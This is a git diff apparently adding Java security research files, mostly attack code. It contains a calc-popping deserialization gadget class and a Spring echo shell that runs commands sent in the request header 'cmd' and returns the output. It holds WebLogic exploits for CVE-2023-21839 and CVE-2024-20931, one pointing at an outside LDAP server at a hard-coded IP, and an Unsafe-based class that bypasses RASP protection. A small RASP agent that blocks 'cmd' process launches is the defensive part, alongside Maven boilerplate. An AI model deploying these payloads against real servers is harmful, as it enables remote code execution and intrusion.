diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/pom.xml"
new file mode 100644
index 00000000..19d0b2b8
--- /dev/null
+++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/pom.xml"
@@ -0,0 +1,15 @@
+
+ 4.0.0
+ $org.example
+ $UTF8Deserialize
+ 1ドル.0-SNAPSHOT
+
+
+ junit
+ junit
+ 3.8.1
+ test
+
+
+
diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/src/main/java/App.java"
new file mode 100644
index 00000000..1fa6a956
--- /dev/null
+++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/src/main/java/App.java"
@@ -0,0 +1,13 @@
+package $org.example;
+
+/**
+ * Hello world!
+ *
+ */
+public class App
+{
+ public static void main( String[] args )
+ {
+ System.out.println( "Hello World!" );
+ }
+}
diff --git "a/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/src/test/java/AppTest.java"
new file mode 100644
index 00000000..65be417e
--- /dev/null
+++ "b/JavaSecurity/Trick/345円217円215円345円272円217円345円210円227円345円214円226円347円273円225円WAF/UTF8Deserialize/src/main/resources/archetype-resources/src/test/java/AppTest.java"
@@ -0,0 +1,38 @@
+package $org.example;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * Unit test for simple App.
+ */
+public class AppTest
+ extends TestCase
+{
+ /**
+ * Create the test case
+ *
+ * @param testName name of the test case
+ */
+ public AppTest( String testName )
+ {
+ super( testName );
+ }
+
+ /**
+ * @return the suite of tests being tested
+ */
+ public static Test suite()
+ {
+ return new TestSuite( AppTest.class );
+ }
+
+ /**
+ * Rigourous Test :-)
+ */
+ public void testApp()
+ {
+ assertTrue( true );
+ }
+}
diff --git "a/JavaSecurity/Trick/351円200円232円347円224円250円345円233円236円346円230円276円344円273円243円347円240円201円/Evil.java" "b/JavaSecurity/Trick/351円200円232円347円224円250円345円233円236円346円230円276円344円273円243円347円240円201円/Evil.java"
new file mode 100644
index 00000000..6db03202
--- /dev/null
+++ "b/JavaSecurity/Trick/351円200円232円347円224円250円345円233円236円346円230円276円344円273円243円347円240円201円/Evil.java"
@@ -0,0 +1,28 @@
+import com.sun.org.apache.xalan.internal.xsltc.DOM;
+import com.sun.org.apache.xalan.internal.xsltc.TransletException;
+import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
+import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
+import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
+
+import java.io.IOException;
+
+// 弹计算器的万能类
+public class Evil extends AbstractTranslet {
+ static {
+ try {
+ Runtime.getRuntime().exec("calc");
+ } catch (IOException e){
+ e.printStackTrace();
+ }
+ }
+
+ @Override
+ public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
+
+ }
+
+ @Override
+ public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
+
+ }
+}
\ No newline at end of file
diff --git "a/JavaSecurity/Trick/351円200円232円347円224円250円345円233円236円346円230円276円344円273円243円347円240円201円/SpringEcho.java" "b/JavaSecurity/Trick/351円200円232円347円224円250円345円233円236円346円230円276円344円273円243円347円240円201円/SpringEcho.java"
new file mode 100644
index 00000000..7b76f24d
--- /dev/null
+++ "b/JavaSecurity/Trick/351円200円232円347円224円250円345円233円236円346円230円276円344円273円243円347円240円201円/SpringEcho.java"
@@ -0,0 +1,45 @@
+import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
+
+import java.io.Serializable;
+import java.lang.reflect.Method;
+import java.util.Scanner;
+
+public class SpringEcho extends AbstractTranslet implements Serializable {
+ public SpringEcho() throws Exception{
+ Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
+ Method m = c.getMethod("getRequestAttributes");
+ Object o = m.invoke(null);
+ c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
+ m = c.getMethod("getResponse");
+ Method m1 = c.getMethod("getRequest");
+ Object resp = m.invoke(o);
+ Object req = m1.invoke(o); // HttpServletRequest
+ Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
+ Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
+ getHeader.setAccessible(true);
+ getWriter.setAccessible(true);
+ Object writer = getWriter.invoke(resp);
+ String cmd = (String)getHeader.invoke(req, "cmd");
+ String[] commands = new String[3];
+ String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
+ if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
+ commands[0] = "cmd";
+ commands[1] = "/c";
+ } else {
+ commands[0] = "/bin/sh";
+ commands[1] = "-c";
+ }
+ commands[2] = cmd;
+ writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
+ writer.getClass().getDeclaredMethod("flush").invoke(writer);
+ writer.getClass().getDeclaredMethod("close").invoke(writer);
+ }
+
+ @Override
+ public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
+ }
+ @Override
+ public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
+
+ }
+}
\ No newline at end of file
diff --git a/JavaSecurity/Weblogic/CVE-2023-21839/CVE_2023_21839.java b/JavaSecurity/Weblogic/CVE-2023-21839/CVE_2023_21839.java
new file mode 100644
index 00000000..27fa5e5f
--- /dev/null
+++ b/JavaSecurity/Weblogic/CVE-2023-21839/CVE_2023_21839.java
@@ -0,0 +1,43 @@
+import javax.naming.Context;
+import javax.naming.InitialContext;
+import javax.naming.NamingException;
+import java.lang.reflect.Field;
+import java.util.Hashtable;
+import java.util.Random;
+
+public class CVE_2023_21839 {
+ static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
+ static String HOW_TO_USE="[*]exploit start";
+
+ private static InitialContext getInitialContext(String url)throws NamingException
+ {
+ Hashtable env = new Hashtable();
+ env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
+ env.put(Context.PROVIDER_URL, url);
+ return new InitialContext(env);
+ }
+ public static void main(String args[]) throws Exception {
+ if(args.length <2){ + System.out.println(HOW_TO_USE); + System.exit(0); + } + String t3Url = "localhost:7001"; + String ldapUrl = "ldap://124.222.21.138:1389/Basic/Command/base64/aWQgPiBDYWxj"; + InitialContext c=getInitialContext("t3://"+t3Url); + Hashtable env = new Hashtable();
+ env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
+ weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
+ Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
+ jndiEnvironment.setAccessible(true);
+ jndiEnvironment.set(f,env);
+ Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
+ remoteJNDIName.setAccessible(true);
+ remoteJNDIName.set(f,ldapUrl);
+ String bindName = new Random(System.currentTimeMillis()).nextLong()+"";
+ try{
+ c.bind(bindName,f);
+ c.lookup(bindName);
+ }catch(Exception e){ }
+
+ }
+}
\ No newline at end of file
diff --git a/JavaSecurity/Weblogic/CVE-2024-20931/exp.java b/JavaSecurity/Weblogic/CVE-2024-20931/exp.java
new file mode 100644
index 00000000..e9808f93
--- /dev/null
+++ b/JavaSecurity/Weblogic/CVE-2024-20931/exp.java
@@ -0,0 +1,45 @@
+package com.supeream;
+
+import weblogic.deployment.jms.ForeignOpaqueReference;
+
+import javax.naming.Context;
+import javax.naming.InitialContext;
+import java.lang.reflect.Field;
+import java.util.Hashtable;
+
+public class CVE_2024_209321 {
+ public static void main(String[] args) throws Exception {
+ String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
+
+ // 创建用来远程绑定对象的InitialContext
+ String url = "t3://127.0.0.1:7001"; // 目标机器
+ Hashtable env1 = new Hashtable();
+ env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
+ env1.put(Context.PROVIDER_URL, url); // 目标
+ InitialContext c = new InitialContext(env1);
+
+ // ForeignOpaqueReference的jndiEnvironment属性
+ Hashtable env2 = new Hashtable();
+ env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");
+ env2.put("datasource", "rmi://127.0.0.1:1099/ygevmj");
+
+ // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
+ ForeignOpaqueReference f = new ForeignOpaqueReference();
+ Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
+ jndiEnvironment.setAccessible(true);
+ jndiEnvironment.set(f, env2);
+ Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
+ remoteJNDIName.setAccessible(true);
+ String ldap = "rmi://127.0.0.1:1099/ygevmj";
+ remoteJNDIName.set(f, ldap);
+
+ // 远程绑定ForeignOpaqueReference对象
+ c.rebind("glassy", f);
+
+ // lookup查询ForeignOpaqueReference对象
+ try {
+ c.lookup("glassy");
+ } catch (Exception e) {
+ }
+ }
+}
\ No newline at end of file
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/.gitignore" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/.gitignore"
new file mode 100644
index 00000000..5ff6309b
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/.gitignore"
@@ -0,0 +1,38 @@
+target/
+!.mvn/wrapper/maven-wrapper.jar
+!**/src/main/**/target/
+!**/src/test/**/target/
+
+### IntelliJ IDEA ###
+.idea/modules.xml
+.idea/jarRepositories.xml
+.idea/compiler.xml
+.idea/libraries/
+*.iws
+*.iml
+*.ipr
+
+### Eclipse ###
+.apt_generated
+.classpath
+.factorypath
+.project
+.settings
+.springBeans
+.sts4-cache
+
+### NetBeans ###
+/nbproject/private/
+/nbbuild/
+/dist/
+/nbdist/
+/.nb-gradle/
+build/
+!**/src/main/**/build/
+!**/src/test/**/build/
+
+### VS Code ###
+.vscode/
+
+### Mac OS ###
+.DS_Store
\ No newline at end of file
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/pom.xml"
new file mode 100644
index 00000000..eb05d286
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/pom.xml"
@@ -0,0 +1,30 @@
+
+
+ 4.0.0
+
+ com.test
+ test
+ 1.0-SNAPSHOT
+
+
+ 8
+ 8
+
+
+
+
+ org.apache.maven.plugins
+ maven-jar-plugin
+
+
+
+ com.test.Main
+
+
+
+
+
+
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/java/com/test/Main.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/java/com/test/Main.java"
new file mode 100644
index 00000000..ad9e8cf8
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/java/com/test/Main.java"
@@ -0,0 +1,18 @@
+package com.test;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+
+public class Main {
+ public static void main(String[] args) throws InterruptedException, IOException {
+ System.out.println("main start!");
+ ProcessBuilder processBuilder = new ProcessBuilder();
+ processBuilder.command("cmd", "whoami");
+ Process process = processBuilder.start();
+ InputStream inputStream = process.getInputStream();
+ BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream, "gbk"));
+ System.out.println(bufferedReader.readLine());
+ }
+}
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/META-INF/maven/archetype.xml"
new file mode 100644
index 00000000..08be0616
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/META-INF/maven/archetype.xml"
@@ -0,0 +1,9 @@
+
+ RCE-Test
+
+ src/main/java/App.java
+
+
+ src/test/java/AppTest.java
+
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/pom.xml"
new file mode 100644
index 00000000..3ba7eab2
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/pom.xml"
@@ -0,0 +1,15 @@
+
+ 4.0.0
+ $org.example
+ $RCE-Test
+ 1ドル.0-SNAPSHOT
+
+
+ junit
+ junit
+ 3.8.1
+ test
+
+
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/src/main/java/App.java"
new file mode 100644
index 00000000..1fa6a956
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/src/main/java/App.java"
@@ -0,0 +1,13 @@
+package $org.example;
+
+/**
+ * Hello world!
+ *
+ */
+public class App
+{
+ public static void main( String[] args )
+ {
+ System.out.println( "Hello World!" );
+ }
+}
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/src/test/java/AppTest.java"
new file mode 100644
index 00000000..65be417e
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/RCE-Test/src/main/resources/archetype-resources/src/test/java/AppTest.java"
@@ -0,0 +1,38 @@
+package $org.example;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * Unit test for simple App.
+ */
+public class AppTest
+ extends TestCase
+{
+ /**
+ * Create the test case
+ *
+ * @param testName name of the test case
+ */
+ public AppTest( String testName )
+ {
+ super( testName );
+ }
+
+ /**
+ * @return the suite of tests being tested
+ */
+ public static Test suite()
+ {
+ return new TestSuite( AppTest.class );
+ }
+
+ /**
+ * Rigourous Test :-)
+ */
+ public void testApp()
+ {
+ assertTrue( true );
+ }
+}
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/pom.xml"
new file mode 100644
index 00000000..e89b00eb
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/pom.xml"
@@ -0,0 +1,56 @@
+
+
+ 4.0.0
+
+ com.drunkbaby.javaagent
+ java-agent
+ 1.0-SNAPSHOT
+
+
+
+ org.javassist
+ javassist
+ 3.27.0-GA
+
+
+
+
+ 8
+ 8
+
+
+
+
+ org.apache.maven.plugins
+ maven-jar-plugin
+
+
+
+ maven-assembly-plugin
+
+
+
+ com.drunkbaby.javagent.PreMain
+ true
+ true
+
+
+
+ jar-with-dependencies
+
+
+
+
+ make-assembly
+ package
+
+ single
+
+
+
+
+
+
+
\ No newline at end of file
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/java/com/drunkbaby/javagent/PreMain.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/java/com/drunkbaby/javagent/PreMain.java"
new file mode 100644
index 00000000..695047f1
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/java/com/drunkbaby/javagent/PreMain.java"
@@ -0,0 +1,33 @@
+package com.drunkbaby.javagent;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.lang.instrument.Instrumentation;
+import java.lang.instrument.UnmodifiableClassException;
+
+public class PreMain {
+ public static void premain(String agentArgs, Instrumentation inst) throws IOException, UnmodifiableClassException {
+ // 先测试一次使用ProcessBuilder获取当前路径
+ System.out.println("\n");
+ ProcessBuilder processBuilder = new ProcessBuilder();
+ processBuilder.command("cmd", "/c", "chdir");
+ Process process = processBuilder.start();
+ BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));
+ System.out.println(bufferedReader.readLine());
+
+ // 添加ClassFileTransformer类
+ ProcessBuilderHook processBuilderHook = new ProcessBuilderHook(inst);
+ inst.addTransformer(processBuilderHook, true);
+
+ // 获取所有jvm中加载过的类
+ Class[] allLoadedClasses = inst.getAllLoadedClasses();
+ for (Class aClass : allLoadedClasses) {
+ if (inst.isModifiableClass(aClass) && !aClass.getName().startsWith("java.lang.invoke.LambdaForm")){
+ // 调用instrumentation中所有的ClassFileTransformer#transform方法,实现类字节码修改
+ inst.retransformClasses(new Class[]{aClass});
+ }
+ }
+ System.out.println("++++++++++++++++++hook finished++++++++++++++++++\n");
+ }
+}
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/java/com/drunkbaby/javagent/ProcessBuilderHook.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/java/com/drunkbaby/javagent/ProcessBuilderHook.java"
new file mode 100644
index 00000000..3e3d479d
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/java/com/drunkbaby/javagent/ProcessBuilderHook.java"
@@ -0,0 +1,51 @@
+package com.drunkbaby.javagent;
+
+import javassist.*;
+
+import java.io.IOException;
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+
+public class ProcessBuilderHook implements ClassFileTransformer {
+ private Instrumentation inst;
+ private ClassPool classPool;
+ public ProcessBuilderHook(Instrumentation inst){
+ this.inst = inst;
+ this.classPool = new ClassPool(true);
+ }
+
+ public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
+ if (className.equals("java/lang/ProcessBuilder")){
+ CtClass ctClass = null;
+ try {
+ // 找到ProcessBuilder对应的字节码
+ ctClass = this.classPool.get("java.lang.ProcessBuilder");
+ // 获取所有method
+ CtMethod[] methods = ctClass.getMethods();
+ // 0ドル代表this,这里this = 用户创建的ProcessBuilder实例对象
+ String src = "if (0ドル.command.get(0).equals(\"cmd\"))" +
+ "{System.out.println(\"危险!\");" +
+ "System.out.println();"+
+ "return null;}";
+ for (CtMethod method : methods) {
+ // 找到start方法,并插入拦截代码
+ if (method.getName().equals("start")){
+ method.insertBefore(src);
+ break;
+ }
+ }
+ classfileBuffer = ctClass.toBytecode();
+ }
+ catch (Exception e) {
+ e.printStackTrace();
+ }
+ finally {
+ if (ctClass != null){
+ ctClass.detach();
+ }
+ }
+ }
+ return classfileBuffer;
+ }
+}
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/MANIFEST.MF" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/MANIFEST.MF"
new file mode 100644
index 00000000..4d5eae31
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/MANIFEST.MF"
@@ -0,0 +1,5 @@
+Manifest-Version: 1.0
+Premain-Class: com.drunkbaby.javagent.PreMain
+Can-Retransform-Classes: true
+Can-Redefine-Classes: true
+Can-Set-Native-Method-Prefix: true
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/META-INF/maven/archetype.xml"
new file mode 100644
index 00000000..0a4b8ca7
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/META-INF/maven/archetype.xml"
@@ -0,0 +1,9 @@
+
+ agent
+
+ src/main/java/App.java
+
+
+ src/test/java/AppTest.java
+
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/pom.xml"
new file mode 100644
index 00000000..f5e184db
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/pom.xml"
@@ -0,0 +1,15 @@
+
+ 4.0.0
+ $org.example
+ $agent
+ 1ドル.0-SNAPSHOT
+
+
+ junit
+ junit
+ 3.8.1
+ test
+
+
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/src/main/java/App.java"
new file mode 100644
index 00000000..1fa6a956
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/src/main/java/App.java"
@@ -0,0 +1,13 @@
+package $org.example;
+
+/**
+ * Hello world!
+ *
+ */
+public class App
+{
+ public static void main( String[] args )
+ {
+ System.out.println( "Hello World!" );
+ }
+}
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/src/test/java/AppTest.java"
new file mode 100644
index 00000000..65be417e
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/agent/src/main/resources/archetype-resources/src/test/java/AppTest.java"
@@ -0,0 +1,38 @@
+package $org.example;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * Unit test for simple App.
+ */
+public class AppTest
+ extends TestCase
+{
+ /**
+ * Create the test case
+ *
+ * @param testName name of the test case
+ */
+ public AppTest( String testName )
+ {
+ super( testName );
+ }
+
+ /**
+ * @return the suite of tests being tested
+ */
+ public static Test suite()
+ {
+ return new TestSuite( AppTest.class );
+ }
+
+ /**
+ * Rigourous Test :-)
+ */
+ public void testApp()
+ {
+ assertTrue( true );
+ }
+}
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/pom.xml"
new file mode 100644
index 00000000..82bc48d4
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/pom.xml"
@@ -0,0 +1,12 @@
+
+ 4.0.0
+
+ org.example
+ java_rasp
+ 1.0-SNAPSHOT
+
+ bypass
+ Archetype - bypass
+ http://maven.apache.org
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/drunkbaby/Evil.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/drunkbaby/Evil.java"
new file mode 100644
index 00000000..fdf8d094
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/drunkbaby/Evil.java"
@@ -0,0 +1,64 @@
+package com.drunkbaby;
+
+import sun.misc.Unsafe;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+public class Evil {
+ public Evil() throws Exception {
+ Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
+ theUnsafeField.setAccessible(true);
+ Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
+
+ Class clazz = Class.forName("java.lang.UNIXProcess");
+ Object obj = unsafe.allocateInstance(clazz);
+
+ String[] cmd = new String[] {"bash", "-c", "touch /tmp/success"};
+
+ byte[][] cmdArgs = new byte[cmd.length - 1][];
+ int size = cmdArgs.length;
+
+ for (int i = 0; i < cmdArgs.length; i++) { + cmdArgs[i] = cmd[i + 1].getBytes(); + size += cmdArgs[i].length; + } + + byte[] argBlock = new byte[size]; + int i = 0; + + for (byte[] arg : cmdArgs) { + System.arraycopy(arg, 0, argBlock, i, arg.length); + i += arg.length + 1; + } + + int[] envc = new int[1]; + int[] std_fds = new int[]{-1, -1, -1}; + + Field launchMechanismField = clazz.getDeclaredField("launchMechanism"); + Field helperpathField = clazz.getDeclaredField("helperpath"); + + launchMechanismField.setAccessible(true); + helperpathField.setAccessible(true); + + Object launchMechanism = launchMechanismField.get(obj); + byte[] helperpath = (byte[]) helperpathField.get(obj); + + int ordinal = (int) launchMechanism.getClass().getMethod("ordinal").invoke(launchMechanism); + + Method forkMethod = clazz.getDeclaredMethod("RASP_forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + forkMethod.invoke(obj, ordinal + 1, helperpath, toCString(cmd[0]), argBlock, cmdArgs.length, null, envc[0], null, std_fds, false); + } + + public byte[] toCString(String s) { + if (s == null) { + return null; + } + byte[] bytes = s.getBytes(); + byte[] result = new byte[bytes.length + 1]; + System.arraycopy(bytes, 0, result, 0, bytes.length); + result[result.length - 1] = (byte) 0; + return result; + } +} \ No newline at end of file diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/drunkbaby/poc.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/drunkbaby/poc.xml" new file mode 100644 index 00000000..7179707b --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/drunkbaby/poc.xml" @@ -0,0 +1,11 @@ +
+
+
+
